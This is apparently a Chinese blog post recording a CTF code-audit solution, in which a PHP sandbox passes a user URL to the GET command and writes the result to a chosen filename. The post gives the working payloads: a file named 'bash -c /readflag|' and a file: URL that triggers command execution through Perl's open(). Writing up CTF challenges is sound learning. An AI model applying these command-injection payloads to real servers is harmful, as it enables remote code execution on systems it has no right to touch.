认认真真做了一次代码审计的题目,感觉收获很大,决定记录下来
一打开题目就是源代码
首先isset()
是 PHP 中的一个函数,用于检查变量是否已经被设置并且不是 null。它接受一个或多个参数,并返回一个布尔值,指示每个参数是否被设置。
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];//输出ip地址,在网页上也能看到
总之前面这一串的目的就是输出ip地址
题目会将orange和ip地址进行拼接,然后md5加密
然后使用mkdir()创建了这样的一个沙盒路径,并且使用chdir()进入该目录
这里也是最关键的部分,$_GET["xxxx"]函数就是要求你在url里面传什么参数,
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
escapeshellarg()把字符串转码为可以在 shell 命令里使用的参数,shell_exec("GET " . escapeshellarg($_GET["url"]))
存在命令执行,前提是文件名可控,且文件必须存在,然后才能触发代码执行
pathinfo()函数
pathinfo() 函数以数组的形式返回关于文件路径的信息。
pathinfo() 返回一个关联数组包含有 path 的信息。 包括以下的数组元素:
- [dirname] //路径名
- [basename] //文件名
- [extension] //扩展名
例如:
<?php print_r(pathinfo("/testweb/test.txt")); ?>
输出:
Array ( [dirname] => /testweb [basename] => test.txt [extension] => txt )
我们传进去的filename就会被解析,存在info里面
接下来就是创建目录,进入该目录,创建文件,将第一步GET命令得到的结果放入这个文件内。
这一段概括一下,首先你传入两个参数,url和filename,他会把执行GET $_GET['url']的结果存到filename文件里。这个filename文件可以是一个路径,他会帮你创建中途的文件夹。
接下来就是做题了
首先查看根目录下的文件
?url=/&filename=a
创建后,访问
sandbox/4871a64732386653602418be4383aacc/a
注意/readflag,应该是需要执行,然后才能得到flag
GET函数底层就是调用了open处理,open函数支持file协议; 可以利用base -c "cmd"
进行命令执行
先创建文件bash -c /readflag|
?url=&filename=bash -c /readflag|
创建文件后,再通过file协议,将读取的flag放入$data中,通过file_put_contents导入a中,然后访问a即可
?url=file:bash -c /readflag|&filename=a
/sandbox/xxxxxxxxxxxxxxxx/a